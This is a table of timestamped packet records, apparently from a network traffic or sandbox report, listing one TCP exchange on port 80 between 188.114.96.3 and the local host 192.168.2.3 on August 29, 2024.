Aug 29, 2024 12:14:39.888700008 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.888714075 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.888716936 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.888742924 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.888786077 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.888798952 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.888822079 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.888844013 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.888927937 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.888940096 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.888953924 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.888967037 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.888968945 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.888979912 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.888992071 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.888994932 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.889003992 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.889008999 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.889018059 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.889029980 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.889034986 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.889060974 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.889127970 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.889139891 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.889152050 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.889163017 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.889168978 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.889179945 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.889180899 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.889206886 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.889219999 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.889271975 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.889283895 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.889295101 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.889309883 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.889312983 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.889338970 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.889354944 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.889368057 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.889385939 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.889389038 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.889396906 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.889414072 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.889436960 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.905581951 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.905597925 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.905610085 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.905647039 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.905658007 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.905669928 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.905674934 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.905682087 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.905699015 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.905700922 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.905718088 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.905735016 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.905762911 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.905796051 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.905834913 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.905847073 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.905859947 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.905872107 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.905874968 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.905884981 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.905894995 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.905920029 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.905929089 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.905965090 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.905994892 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.906008005 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.906034946 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.906069040 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.906080961 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.906092882 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.906105042 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.906110048 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.906120062 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.906121016 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.906133890 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.906150103 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.906173944 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.906224966 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.906236887 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.906250954 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.906263113 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.906265974 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.906275988 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.906291008 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.906313896 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.906352997 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.906364918 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.906388998 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.906390905 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.906402111 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.906414986 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.906415939 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.906429052 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.906429052 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.906450987 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.906470060 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.906580925 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.906594038 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.906605005 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.906615973 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.906620026 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.906629086 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.906641006 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.906644106 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.906655073 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.906656981 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.906687021 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.906717062 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.906728983 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.906738997 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.906755924 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.906769037 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.906822920 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.906836033 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.906857014 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.906862020 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.906868935 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.906872988 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.906883001 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.906889915 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.906904936 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.906919956 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.906951904 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.906964064 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.906994104 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.978019953 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.978070021 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.978089094 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.978106976 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.978118896 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.978132010 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.978143930 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.978166103 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.978163004 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.978180885 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.978189945 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.978195906 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.978209019 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.978225946 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.978235960 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.978260994 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.978296041 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.978307962 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.978327990 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.978331089 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.978342056 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.978346109 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.978354931 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.978363991 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.978368044 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.978382111 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.978404045 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.978454113 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.978465080 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.978476048 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.978487968 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.978492022 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.978502035 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.978509903 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.978513002 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.978534937 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.978560925 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.979660988 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.979674101 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.979684114 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.979700089 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.979722977 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.979774952 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.979788065 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.979799986 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.979811907 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.979815006 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.979825020 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.979835987 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.979865074 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.979986906 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.980000019 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.980011940 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.980024099 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.980029106 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.980036974 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.980041981 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.980052948 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.980071068 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.980073929 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.980094910 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.980118036 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.980119944 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.980133057 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.980144978 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.980154991 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.980160952 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.980169058 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.980184078 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.980199099 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.980210066 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.980225086 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.980236053 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.980247974 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.980251074 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.980261087 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.980264902 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.980276108 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.980285883 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.980293989 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.980307102 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.980329037 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.980462074 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.980473995 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.980489969 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.980499029 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.980509996 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.980521917 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.980525017 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.980534077 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.980546951 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.980551004 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.980564117 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.980566978 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.980576992 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.980592966 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.980608940 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.981122017 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.981133938 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.981146097 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.981158018 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.981162071 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.981170893 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.981178045 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.981184959 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.981198072 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.981206894 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.981220961 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.981245041 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.996781111 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.996812105 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.996823072 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.996896029 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.996905088 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.996906996 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.996922016 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.996932983 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.996936083 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.996953011 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.996954918 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.996980906 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.997067928 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.997080088 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.997091055 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.997102976 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.997107983 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.997117043 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.997122049 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.997129917 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.997148991 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.997174978 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.997191906 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.997203112 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.997231960 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.997241974 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.997253895 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.997265100 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.997278929 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.997283936 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.997297049 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.997319937 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.997348070 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.997384071 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.997426033 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.997440100 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.997451067 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.997462034 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.997467995 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.997474909 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.997490883 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.997508049 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.997549057 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.997565031 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.997589111 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.997591019 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.997606039 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.997606039 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.997626066 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.997628927 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.997641087 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.997647047 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.997661114 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.997677088 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.997797966 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.997809887 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.997823000 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.997838020 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.997853041 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.997884989 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.997899055 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.997910023 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.997925043 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.997925043 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.997940063 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.997941971 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.997953892 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.997966051 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.997975111 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.997989893 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.998012066 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.998917103 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.998927116 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.998938084 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.998950958 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.998961926 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.998966932 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.998976946 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.998986006 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.998989105 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.999003887 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.999013901 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.999027014 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.999049902 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.069467068 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.069490910 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.069504023 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.069514036 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.069525957 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.069538116 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.069549084 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.069560051 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.069572926 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.069585085 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.069596052 CEST	80	62660	188.114.96.3	192.168.2.3
